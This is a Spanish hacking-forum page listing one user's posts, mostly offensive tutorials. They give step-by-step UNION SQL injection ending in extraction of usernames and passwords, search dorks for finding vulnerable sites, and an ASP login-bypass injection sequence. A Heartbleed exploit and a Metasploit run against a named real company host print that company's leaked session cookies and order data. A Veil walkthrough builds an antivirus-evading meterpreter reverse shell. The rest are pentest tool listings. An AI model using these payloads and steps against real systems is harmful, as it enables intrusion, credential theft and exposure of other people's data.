Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - Stuxnet

#1
Nivel Web / Union Based Sql Injection
16 Junio 2014, 20:48 PM

0x1: Concepto:

Una Inyección SQL es una vulnerabilidad centrada en consultas hacia la base de datos, suele suceder cuando se inyecta una variable de consultas desde una identidad hacia la base de datos y asi obtener directamente información del usuario administrador, todas las tablas y columnas de la web.

El operador UNION se utiliza en las inyecciones SQL para unirse a una consulta, deliberadamente forjada por el consultor, a la consulta original. El resultado de la consulta realizada se unirá al resultado de la consulta original, permitiendo que el consultor obtener los valores de los campos de otras tablas.

0x2: Encontrar una página web vulnerable:

Para encontrar nuestra página vulnerable utilizaremos algunos dorks.

news.php?ID=
product.php?ID=
content.php?ID=
index.php?ID=


Para saber si nuestra página es vulnerable agregamos ' ) \ " al final.

http://www.ejemplo.com/news.php?id=44'


Como podemos observar es vulnerable.

0x3: Encontrar el número de columnas

Para encontrar el número de columnas utilizaremos la cláusula ORDER BY.

http://www.ejemplo.com/news.php?id=44 ORDER BY 1-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 2-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 3-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 4-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 5-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 6-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 7-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 8-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 9-- [ No Hay Error ]
http://www.ejemplo.com/news.php?id=44 ORDER BY 10-- [  Error ]


Como podemos observar al hacer la consulta ORDER BY 10 muestra el siguiente error:


Esto quiere decir que la columna 10 no existe, solo existen 9.

0x4: Encontrar la columna vulnerable

Ahora debemos ejecutar la instrucción UNION SELECT

http://www.ejemplo.com/news.php?id=44 UNION SELECT 1,2,3,4,5,6,7,8,9--


Como podemos ver 4 y 5 son las columnas vulnerables...

0x5: Recopilación de Información: Nombre de la base de datos, Usuario actual, Versión SQL.

Reemplazamos el número 5 por: concat(database(),0x3a,user(),0x3a,version())

http://www.ejemplo.com/news.php?id=44 UNION SELECT 1,2,3,4,concat(database(),0x3a,user(),0x3a,version()),6,7,8,9--


Database Name : cecit_db_camara
Current User  : cecit_camara@localhost
SQL Version   : 5.5.32

0x6: Encontrar el nombre de las Tablas:

Para encontrar los nombres de tablas, usaremos la siguiente la sintaxis:

http://www.ejemplo.com/news.php?id=44 UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9 FROM information_schema.tables WHERE table_schema=database()--


0x7: Encontrar el nombre de las columnas en el nombre de las tablas:

Para encontrar los nombres de columnas, usaremos la siguiente la sintaxis:

http://www.ejemplo.com/news.php?id=44 UNION SELECT 1,2,3,group_concat(column_name),5,6,7,8,9 FROM information_schema.columns WHERE table_name = 0x7574696c69736174657572

Nota: para extraer esta información deben cifrar el nombre de la tabla en hexadecimal anteponiendo 0x, Para esto estoy utilizando la tabla utilisateur quedando 7574696c69736174657572.

0x8: Extraer Username y Passwords:

Para extraer Username y Passwords, usaremos la siguiente la sintaxis:

http://www.ejemplo.com/news.php?id=44 UNION SELECT 1,2,3,group_concat(login,0x3a,password),5,6,7,8,9 FROM utilisateur--+

#2

Buenas underc0de, tanto tiempo de no publicar algo por aqui.

En este pequeño tutorial veremos como explotar la famosa vulverabilidad heartbleed.

"Es el bug mas grande en OpenSSL, capaz de capturar y descifrar desde los nombres de usuario hasta las contraseñas, entre otra información sensible contenida en la memoria de los servidores."

Formas de explotarlo.

1. Exploit:

Unas de las formas de explotarlo es con el exploit: http://www.exploit-db.com/exploits/32745/ e interpretarlo con python.

Uso del exploit:

python openssl.py sales.bbuconnect.com --port 443 > output_ssl.txt
cat output_ssl.txt


Resultado:

Connecting...
Sending Client Hello...
Waiting for Server Hello...
... received message: type = 22, ver = 0302, length = 86
... received message: type = 22, ver = 0302, length = 1394
... received message: type = 22, ver = 0302, length = 4
Sending heartbeat request...
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response:




Como podemos ver la página es vulnerable. Arrojandonos muchos datos sensibles.

2. Metasploit:

Como siempre metasploit facilitandonos la vida, para explotarlo usaremos el módulo: openssl_heartbleed.rb --> http://1337day.com/exploits/22129

Uso:

use auxiliary/scanner/ssl/openssl_heartbleed
set RHOSTS sales.bbuconnect.com
set RPORT 443
set VERBOSE true
run


Resultado:

______________________________________________________________________________
|                                                                              |
|                          3Kom SuperHack II Logon                             |
|______________________________________________________________________________|
|                                                                              |
|                                                                              |
|                                                                              |
|                 User Name:          [   security    ]                        |
|                                                                              |
|                 Password:           [               ]                        |
|                                                                              |
|                                                                              |
|                                                                              |
|                                   [ OK ]                                     |
|______________________________________________________________________________|
|                                                                              |
|                                                        http://metasploit.pro |
|______________________________________________________________________________|


       =[ metasploit v4.8.0-dev [core:4.8 api:1.0]
+ -- --=[ 1154 exploits - 673 auxiliary - 182 post
+ -- --=[ 310 payloads - 30 encoders - 8 nops

msf auxiliary(openssl_heartbleed) > set RHOSTS sales.bbuconnect.com
RHOSTS => sales.bbuconnect.com
msf auxiliary(openssl_heartbleed) > set RPORT 443
RPORT => 443
msf auxiliary(openssl_heartbleed) > set VERBOSE true
VERBOSE => true
msf auxiliary(openssl_heartbleed) > run

[*] 4.31.139.165:443 - Sending Client Hello...
[*] 4.31.139.165:443 - Sending Heartbeat...
[*] 4.31.139.165:443 - Heartbeat response, checking if there is data leaked...
[+] 4.31.139.165:443 - Heartbeat response with leak
[*] 4.31.139.165:443 - Printable info leaked: @,ED!! ECECFFDCDADFDFDBDIDHEMFECACACAAA FFFDFEEMEEEHECECFHDADADDCACACAAASMB%V\MAILSLOT\BROWSEBBU2055187LTn_@@"|,!t-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://orders.bbuconnect.com/prompt/,DanaInfo=.abcwsvtsw1y1zpM-u-9sSw98,Port=10001+QtyModifierCookie: DSSignInURL=/; DSFirstAccess=1398132759; DSLastAccess=1398132936; DSLaunchURL=2F64616E612F686F6D652F73706163652E676966; DSID=b28e87546e98e6d08303408643f3f270Connection: keep-alivePfuMFau4A|9@6 ding: gzip, deflateHost: sales.bbuconnect.comDNT: 1Connection: Keep-AliveCookie: DSSignInURL=/; DSID=9e6dfea3018fb3ed2cddbe4fb6fcc008; DSFirstAccess=1398132571; DSLastAccess=1398132936h;+IM@M#$mRJH"p]N3uVht7e76fd5e3aa9dfebaca6107ed699f5; DSLastAccess=1398132936?>FA*ate_lvl=0&sticker_id=000&individual_pid=7203001339+000&pso_indicator=N&sun=-&mon=0&tue=0&wed=-&thu=0&fri=0&sat=0&row_total=0&prodId=7203001339+000&prodName=LTLEBTS+BLUEMUFF&grand_total=0&fore_cast=3&suggested_order=6&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7203001340+000&pso_indicator=N&sun=-&mon=0&tue=0&wed=-&thu=0&fri=0&sat=0&row_total=0&prodId=7203001340+000&prodName=LB+CRUMB+CAKE+5P&grand_total=0&fore_cast=1&suggested_order=0&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7203001342+000&pso_indicator=N&sun=-&mon=0&tue=18&wed=-&thu=0&fri=0&sat=0&row_total=18&prodId=7203001342+000&prodName=LTLEBTS+BROWNIES&grand_total=18&fore_cast=5&suggested_order=18&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7203001353+000&pso_indicator=N&sun=-&mon=0&tue=18&wed=-&thu=0&fri=0&sat=0&row_total=18&prodId=7203001353+000&prodName=LTLEBTS+CHOCCPMF&grand_total=18&fore_cast=3&suggested_order=18&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7203002058+052&pso_indicator=N&sun=-&mon=0&tue=0&wed=-&thu=12&fri=0&sat=0&row_total=12&prodId=7203002058+052&prodName=LB+SNDOODLE+MUFF&grand_total=12&fore_cast=4&suggested_order=12&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7203002200+052&pso_indicator=N&sun=-&mon=-&tue=0&wed=-&thu=0&fri=0&sat=0&row_total=0&prodId=7203002200+052&prodName=LB+STWBYOG+MFN5P&grand_total=0&fore_cast=1&suggested_order=0&modified=-1&sun_pct=1&mon_pct=1&tue_pct=1&wed_pct=1&thu_pct=1&fri_pct=1&sat_pct=1&total_pct=1&sun_dif=0&mon_dif=0&tue_dif=0&wed_dif=0&thu_dif=0&fri_dif=0&sat_dif=0&change_total_from_zero=false&close_dt=NO&prom_id=null&prom_cat_id=0&wk_type_id=0&prom_id2=null&prom_cat_id2=0&wk_type_id2=0&has_prom_vol=0&update_dt=04-21-2014&depot_closed=0&update_lvl=0&sticker_id=000&individual_pid=7087000908+
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(openssl_heartbleed) >


3: Nmap NSE script

Para detectar si es vulnerable: --> https://svn.nmap.org/nmap/scripts/ssl-heartbleed.nse

Uso:

nmap -p 443 --script ssl-heartbleed <tarjet>

Resultado:

stuxnet@stuxnet:/media/Stuxnet/Pentesting/$ nmap -p 443 --script ssl-heartbleed 4.31.139.165

Starting Nmap 6.46 ( http://nmap.org ) at 2014-04-21 21:19 CST
Nmap scan report for sales.bbuconnect.com (4.31.139.165)
Host is up (0.13s latency).
PORT    STATE SERVICE
443/tcp open  https
| ssl-heartbleed:
|   VULNERABLE:
|   The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
|     State: VULNERABLE
|     Risk factor: High
|     Description:
|       OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|           
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|       http://www.openssl.org/news/secadv_20140407.txt
|_      http://cvedetails.com/cve/2014-0160/
#3
Hacking / Veil – Evasión de Antivirus
12 Junio 2014, 17:37 PM

Veil es una herramienta escrita en Python por Christopher Truncer para crear payloads de Metasploit capaces de evadir la mayoría de los antivirus. Utiliza métodos distintos para generar payloads diferentes y permite al usuario usar Pyinstaller o Py2Exe para convertir los payloads de Python a ejecutables.

Descarga Veil:

git clone https://github.com/ChrisTruncer/Veil
cd Veil
python Veil.py


Veil Modo de Uso

root@stuxnet:/media/Stuxnet/Pentesting/veil# python Veil.py

=========================================================================
Veil First Run Detected... Initializing Script Setup...
=========================================================================

[*] Executing ./config/update.py...
[>] Please enter the path of your metasploit installation: /media/Stuxnet/Pentesting/msf
[*] OPERATING_SYSTEM = Linux
[*] TERMINAL_CLEAR = clear
[*] VEIL_PATH = /media/Stuxnet/Pentesting/veil/
[*] PAYLOAD_SOURCE_PATH = /root/veil-output/source/
[*] Path '/root/veil-output/source/' Created
[*] PAYLOAD_COMPILED_PATH = /root/veil-output/compiled/
[*] Path '/ro
ot/veil-output/compiled/' Created
[*] TEMP_DIR = /tmp/
[*] METASPLOIT_PATH = /media/Stuxnet/Pentesting/msf
[*] PYINSTALLER_PATH = /opt/pyinstaller-2.0/
[*] MSFVENOM_OPTIONS =
[*] Configuration File Written To /media/Stuxnet/Pentesting/veil/config/settings.py

=========================================================================
Veil | [Version]: 2.1.0
=========================================================================
[Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================

[!] WARNING: Official support for Kali Linux (x86) only at this time!
[!] WARNING: Continue at your own risk!

Main Menu

    18 payloads loaded

Available commands:

    use             use a specific payload
    update          update Veil to the latest version
    list            list available languages/payloads
    info            information on a specific payload
    exit            exit Veil

[>] Please enter a command: list


=========================================================================
Veil | [Version]: 2.1.0
=========================================================================
[Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================

[!] WARNING: Official support for Kali Linux (x86) only at this time!
[!] WARNING: Continue at your own risk!

Available payloads:

    1)  c/VirtualAlloc                  Poor
    2)  c/VoidPointer                   Poor

    3)  c#/VirtualAlloc                 Poor
    4)  c#/b64SubVirtualAlloc           Normal

    5)  native/BackdoorFactory          Normal
    6)  native/hyperion                 Normal
    7)  native/pescrambler              Normal

    8)  powershell/DownloadVirtualAlloc     Excellent
    9)  powershell/PsexecVirtualAlloc       Excellent
    10) powershell/VirtualAlloc         Excellent

    11) python/AESEncrypted             Excellent
    12) python/ARCEncrypted             Excellent
    13) python/Base64Encode             Excellent
    14) python/DESEncrypted             Excellent
    15) python/FlatInjection            Normal
    16) python/LetterSubstitution       Excellent
    17) python/MeterHTTPContained       Excellent
    18) python/MeterHTTPSContained      Excellent

[>] Please enter a command: 11

=========================================================================
Veil | [Version]: 2.1.0
=========================================================================
[Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================

Payload: python/AESEncrypted loaded

Required Options:

Name           Current Value   Description
----           -------------   -----------
compile_to_exe     Y           Compile to an executable
inject_method      virtual     [virtual]alloc or [void]pointer
use_pyherion       N           Use the pyherion encrypter

Available commands:

    set             set a specific option value
    info            show information about the payload
    help [crypters] show help menu for payload or crypters
    generate        generate payload
    exit            exit Veil
    back            go to the main menu

[>] Please enter a command: generate

=========================================================================
Veil | [Version]: 2.1.0
=========================================================================
[Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================

[?] Use msfvenom or supply custom shellcode?

        1 - msfvenom (default)
        2 - Custom

[>] Please enter the number of your choice: 1

[*] Press [enter] for windows/meterpreter/reverse_tcp
[*] Press [tab] to list available payloads
[>] Please enter metasploit payload:
[>] Enter value for 'LHOST', [tab] for local IP: xxx.xxx.xxx.xxx
[>] Enter value for 'LPORT': 4444
[>] Enter extra msfvenom options in OPTION=value syntax:

[*] Generating shellcode...

=========================================================================
Veil | [Version]: 2.1.0
=========================================================================
[Web]: https://www.veil-evasion.com/ | [Twitter]: @veilevasion
=========================================================================

[*] Press [enter] for 'payload'
[>] Please enter the base name for output files:

[?] How would you like to create your payload executable?

        1 - Pyinstaller (default)
        2 - Py2Exe

[>] Please enter the number of your choice: 1


Seleccionamos la opción 1 y finalizamos. En este momento empieza a salir varios mensajes por consola mientras genera el ejecutable y finalmente, muestra un resumen de todo. En este se puede ver la ruta en la que ha dejado el resultado.

Ahora abrimos Metasploit:
   
msf> use exploit/multi/handler
msf exploit(handler) > exploit
#4
Hacking / [Video Tutoriales] Exploiter.co
12 Junio 2014, 17:33 PM

Exploiter.co es una empresa que se dedica a enseñarte técnicas de hacking ofensivas y defensivas, programación y mucho mas!. Disfruta la experiencia del hacking con sus video tutoriales:

¿Qué es un hacker y cómo convertirse en uno?

En el primer #ExploiterCoLive hablamos de qué es realmente un hacker y como llegar a convertirse en uno, certificaciones como CEH, CISSP, programación en Python, Ruby y mucho más!





¿Cómo hacer un penetration testing?

Aprende como hacer un penetration testin vde forma profesional con las mejores metodologías y herramientas





1. Hacking con Python - Introducción.

Con este taller te llevaremos de cero a un nivel avanzado en hacking de la mano de python.





2. Hacking con Python - Control de flujo, funciones y modulos

En la segunda parte del  taller te enseñamos a darle lógica a tus programas, ahorrar código con funciones y empaquetar tus módulos.





3. Hacking con Python - Robando información de Windows

Aprende a manejar ficheros y a usar el poder de Python haciendo Hacking en un entorno profesional.





4. Hacking con Python - POO y cómo la usa Sqlmap

Aprende con una detallada explicación el funcionamiento de la programación orientada a objetos (POO) y como Sqlmap hace uso de ella.





5. Hacking con Python - Atacando servidores FTP

En esta ocasión aprenderemos a hacer fuerza bruta a un servior FTP, detectar banners y acceso anonimo con Python.

#5
Android / Revenssis Penetration Testing Suite
8 Octubre 2013, 17:52 PM

Revenssis es un sistema de todos los tipos útiles de herramientas usadas en computadora y seguridad del uso del Web. Las herramientas disponibles en él incluyen: Los exploradores del App del Web, codifican/las herramientas descifran y del Hashing, laboratorio de investigación de la vulnerabilidad, laboratorio de Forensics, más las utilidades del deber-tener (Shell, las operaciones de búsqueda de SSH, de DNS/WHOIS, Traceroute, operaciones de búsqueda del DB portuario del explorador, del Spam, Netstat).


http://revenssis.com/Revenssis.apk
#6
Android / Bugtroid
8 Octubre 2013, 17:07 PM

Bugtroid es una herramienta innovadora desarrollada por el equipo de Bugtraq-Team. Las características principales de este apk, es que cuenta con mas de 200 herramientas de Android y Linux (PRO) para realizar pentesting y forense a través de su Smarthphone o Tablet.

Dispone de un menu categorizado según la naturaleza de las herramienta, pudiendo encontrar:

- Anonimato
- Búsqueda de Personas
- Auditoría para frecuencias 802.11 (Wireless y Bluetooth)
- Mapeo de Redes
- Control remoto
- DDOS
- Sniffers
- Pentesting
- Seguridad
- Forense
- Analisis Web
- Cryptografía
- Fuerza Bruta
- Antivirus
- Sistema

Desde el menú de la aplicación usted podrá:

- Consultar la información de la herramienta.
- Instalar la Aplicación.
- Desinstalar la Aplicación.
- Ejecutar la Aplicación (PRO)

También dispone del apartado de configuraciones, el cual le servirá para administrar e instalar ciertos requerimientos para el correcto funcionamiento de las herramientas asi como otras funciones:

- Establecer fondo de pantalla
- Instalar los requisitos minimos para el funcionamiento de las herramientas
- Instalar accesos directos en el escritorio (PRO)
- Instalar accesos directos de la consola (PRO)
- Instalación de interpretes: Perl, Python, Ruby, Php y Mysql (PRO)

El equipo de Bugtraq-Team, no se hace responsable del uso que se le puedan aplicar a estas herramientas, ni al contenido de las mismas.

Bugtroid Free
#7

Esta herramienta nos ayuda a detectar ataques ARP poisoning y ataques DHCP ACK Injection. funciona esnifando los paquetes de la interfaz de red seleccionada y analizando aquellos paquetes bien sean ARP o DHCP en busca de posibles ataques MITM. Cuando detecta un ataque muestra una alerta y la información del atacante.

La herramienta permite varias configuraciones, pudiendo elegir los tipos de ataques que se desean detectar, si se desea que se mitiguen los ataques ARP Poisoning, así cómo la posibilidad de iniciar Marmita con Windows - algo que os recomendamos si vais de red en red. En la ventana principal además existen distintos paneles con información sobre ARP y DHCP así como todos los logs.


Descarga
#8
Android / OWASP GoatDroid
28 Septiembre 2013, 05:57 AM

OWASP GoatDroid es un proyecto que ayudará a educar en materia de seguridad a los desarrolladores de aplicaciones Android.

Se trata de un entorno completamente funcional para aprender acerca de las vulnerabilidades y los fallos de seguridad en la extendida plataforma. El framework y la aplicación están basadas completamente en Java. No es necesario instalar un servidor web externo o un contenedor, aunque si necesitaremos MySQL, el SDK de Android y Eclipse. Cada servicio web corre en instancias Jetty embebidas y utiliza la implementación Jersey de JAX-RS.

Instalación:

1. Como comentábamos, es necesario tener previamente instalado Mysql, JDK, Eclipse y Android SDK.

2. Lo primero que haremos es crear un dispositivo virtual con un nivel 7 de API como mínimo.



3. Después importamos la base de datos FourGoats en MySQL: 'mysql -u username -p &lt; fourgoats.sql'. El fichero fourgoats.sql está dentro del directorio /databases de la carpeta GoatDroid.

4. Dentro de MySQL ejecutamos: 'create user 'goatboy'@'localhost' identified by 'goatdroid'' (si queremos indicar otra contraseña tendremos que cambiarla en el código fuente de goatdroid.jar y re-exportar.

5. En MySQL, ejecutamos : 'grant insert, delete, update, select on fourgoats.*  to goatboy@localhost'

6. Ahora que la base de datos está configurada con las tablas y los datos de ejemplo, arrancamos goatdroid.jar haciendo clic o ejecutamos 'java -jar goatdroid.jar'



7. En el menú seleccionamos 'Configure y Edit' y añadimos las rutas de Eclipse y del SDK y los dispositivos virtuales:



8. Desplegamos la carpeta FourGoats en Apps, seleccionamos v1 y pulsamos el botón 'Iniciar servicio web':



9. Pulsamos el botón para iniciar el emulador y seleccionamos nuestro dispositivo virtual:



10. Una vez arrancado el dispositivo virtual, instalamos la aplicación pulsando el botón "Push App To Device". En caso de que fallara, podemos instalar el apk nosotros directamente: 'D:\Android\android-sdk\platform-tools&gt;adb.exe install "d:\OWASP GoatDroid v0.1.2   BETA\goatdroid_apps\FourGoats\v1\android_app\FourGoats- Android Application.apk"'



11. Pinchamos en el icono creado para iniciar la aplicación y, antes de empezar a hacer nada, es necesario especificar el host y el puerto para conectarnos al servicio web. Para ello, pulsamo el botón 'Menú' y seleccionamos "Destination Info".



12. Por último, registramos y creamos una cuenta y nos loggeamos.





Se pueden descubrir vulnerabilidades de tipo:
           
Client-Side Injection
Server-Side           
Authorization Issues
Side Channel Information Leakage
Insecure           
Data Storage
Privacy Concerns                   
#9
Android / Mercury: Auditoria de aplicaciones Android
28 Septiembre 2013, 05:56 AM

Una de las herramientas que más nos llamaron la atención de la BlackHat Europe la que presentó Tyrone Erasmus en su ponencia 'The Heavy Metal That Poisoned the Droid' (whitepaper y slides).

Se llama Mercury de MWR Labs y es un framework gratuito que ayudará a los "cazadores" de bugs a encontrar vulnerabilidades, escribir exploits PoC y, en definitiva, a jugar con Android.

Se trata de una herramienta que nos permitirá examinar de forma dinámica y a explotar las posibilidades de ataque de las aplicaciones que residen en un dispositivo Android. Se divide en dos partes: una aplicación servidor que requiere pocos privilegios y se instala en el teléfono y un cliente escrito en Python para interactuar con el servidor desde la línea de comandos.




Características

El principal objetivo de Mercury es ser una herramienta de auditoría que pueda utilizarse con muchos propósitos. Algunas de sus características nos permitirán:

- Encontrar más fácilmente información relevante acerca de los vectores de ataque de una aplicación

- Interactuar con los 4 endpoints IPC (actividades, broadcast receivers, proveedores de contenido y servicios) de una aplicación desde la línea de comandos con el fin de encontrar vulnerabilidades

- Jugar con el sistema operativo Linux desde el punto de vista de una aplicación sin privilegios (sorprende lo mucho que se pueden ver)

- Encontrar información sobre los paquetes instalados con filtros de búsqueda opcionales que permiten un mejor control

- Subir y bajar ficheros sin usar ADB (¡esto incluye poder hacerlo a través de Internet también!)

- Escribir nuevos módulos con exploits para las vulnerabilidades encontradas por medio de una rango de comandos
predefinidos, y utilizar los módulos que otros hayan creado




Requisitos previos

- Teléfono o emulador con Android 2.2 o superior
- PC con Linux y Python 2.7 – (el autocompletar de comandos no funciona en Windows)

Instalación

- Descarga el zip desde aquí http://labs.mwrinfosecurity.com/assets/254/mercury-v1.0.zip
- Instala el servicio server/mercury.apk en el teléfono e inícialo:


- Arranca el cliente client/mercury.py en el PC

Citar./mercury.py

- Conecta con el servidor Mercury:

Si tenemos conectado el teléfono al PC por USB o estamos usando un emulador, necesitaremos redireccionar el puerto 31415 (puedes hacerlo con el comando 'adb forward tcp:31415 tcp:31415')

Si nos vamos a conectar al teléfono por la red inalámbrica, necesitaremos obtener la IP del teléfono, en nuestro caso la 192.168.1.35

- Escribimos en el cliente "connect" seguido de la dirección IP del teléfono (127.0.0.1 si utilizamos un emulador o lo tenemos conectado por USB al PC)

mercury: connect 192.168.1.35

Commands - type help for more info
--------------------------------------------
activity broadcast help packages service tools
back debuggable modules provider shell


Empezando a jugar con Mercury

Cuando buscamos fugas de información en un dispositivo Android, los proveedores de contenido exportados son un buen comienzo. Dentro de la sección 'provider', con 'info -p null' obtendremos un listado de todos estos proveedores y sólo tendremos que ver aquellos que no requieran permisos para leerlos (Required Permission - Read: null o Required Permission - Write: null).

El desarrollador de una aplicación tiene que configurar específicamente 'android:readPermission' o 'android:permission' en el proveedor de contenidos dentro del fichero 'AndroidManifest.xml' si no quiere que la información sea accesible por otras aplicaciones del dispositivo. Si no lo hace, a veces no encontraremos información delicada y otras veces encontraremos datos que al desarrollador no le gustaría que leyéramos.

*mercury: provider
*mercury#provider: info -p null

Package name: com.sec.android.app.callsetting
Authority: com.sec.android.app.callsetting.allcalls
Required Permission - Read: null
Required Permission - Write: null
Grant Uri Permissions: false
Multiprocess allowed: false


Una vez que seleccionamos la aplicación objetivo, el siguiente paso será obtener las direcciones de sus contenedores (content URI). Para ello utilizaremos el comando 'finduri':

*mercury#provider: finduri com.sec.android.app.callsetting

/system/app/CallSetting.apk:
Contains no classes.dex

/system/app/CallSetting.odex:
content://com.sec.android.app.callsetting.allcalls/prefix_num
content://com.sec.android.app.callsetting.allcalls/reject_msg
content://com.sec.android.app.callsetting.allcalls/reject_num


Para mostrarnos esta información el comando finduri ha tenido que seguir los siguientes pasos para la enumeración:
- Encontrar la localización del fichero APK
- Descomprimir el fichero classes.dex situado dentro del APK (si no lo hubiera, buscaría los ODEX del paquete)
- Emplear código similar al string de UNIX para encontrar todas las cadenas válidas dentro del binario (fichero DEX u ODEX)
- Filtrar la salida final parseando las cadenas con content://.

Ahora que tenemos las direcciones de los contenedores, con query podemos leer su contenido. Por ejemplo:

*mercury#provider: query content://com.sec.android.app.callsetting.allcalls/reject_msg

_id | reject_message | edit_checked
.....

1 | Lo siento, estoy ocupado. LLámame más tarde | 2131165242

2 | Estoy en una reunión | 2131165243

3 | Estoy en clase | 2131165244

4 | Estoy en el cine | 2131165245

5 | Estoy conduciendo | 2131165246


E incluso realizar inyecciones SQL:

*mercury#provider> query content://com.sec.android.app.callsetting.allcalls/prefix_num --projection "'"

unrecognized token: "' FROM prefix_num": , while compiling: SELECT ' FROM prefix_num

*mercury#provider> query content://com.sec.android.app.callsetting.allcalls/prefix_num --projection "* FROM SQLITE_MASTER--"

type | name | tbl_name | rootpage | sql
.....

table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT)

table | prefix_num | prefix_num | 4 | CREATE TABLE prefix_num (_id INTEGER PRIMARY KEY AUTOINCREMENT, prefix_number TEXT NOT NULL,prefix_checked INTEGER)

table | sqlite_sequence | sqlite_sequence | 5 | CREATE TABLE sqlite_sequence(name,seq)
#10
Android / DroidSQli
28 Septiembre 2013, 05:53 AM

DroidSQLi es la primera herramienta de inyección MySQL automatizado para Android. Le permite probar la aplicación web basado en MySQL contra ataques de inyección SQL.

DroidSQLi compatible con las técnicas de inyección siguientes:

- Inyección basada Tiempo
- Inyección de Ciegos
- Inyección basado Error
- Inyección normal


Se selecciona automáticamente la mejor técnica a utilizar y emplea algunos métodos de evasión de filtros simples.

Esta herramienta sin duda! va ayudar a nuestros trabajos como pentester, y seria muy bueno diseñar todo este tipo de herramientas para realizar nuestras auditorias de seguridad web desde android.


#11
Nivel Web / Inyección SQL a Login ASP
3 Septiembre 2013, 05:54 AM

La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.

Dork: inurl:login.asp

En el en campo "Clave de Acceso" y "Password" del login escribimos:

' having 1= 1--


Al hacerlo nos dara el seguiente error:


Sabemos que es vulnerable y nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave, teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave having 1 = 1--

Hacemos la inyección y el siguiente error sera así:


Nos acaba de dar el nombre de la tabla y la columna "Usuario.Nombre", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre having 1=1--

Hacemos la inyección y el siguiente error sera así:


Nos acaba de dar el nombre de la tabla y la columna "Usuario.Clave_de_Acceso", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso having 1=1--

Hacemos la inyección y el siguiente error sera así:


Nos acaba de dar el nombre de la tabla y la columna "Usuario.Password", teniendo esto regresamos a nuestro login y escribimos:

' group by Usuario.Clave, Usuario.Nombre, Usuario.Clave_de_Acceso, Usuario.Password having 1=1--

Hacemos la inyección y el siguiente error sera así:


Nos acaba de dar el nombre de la tabla y la columna "Usuario.Tipo_de_Usuario", teniendo esto regresamos a nuestro login y escribimos:

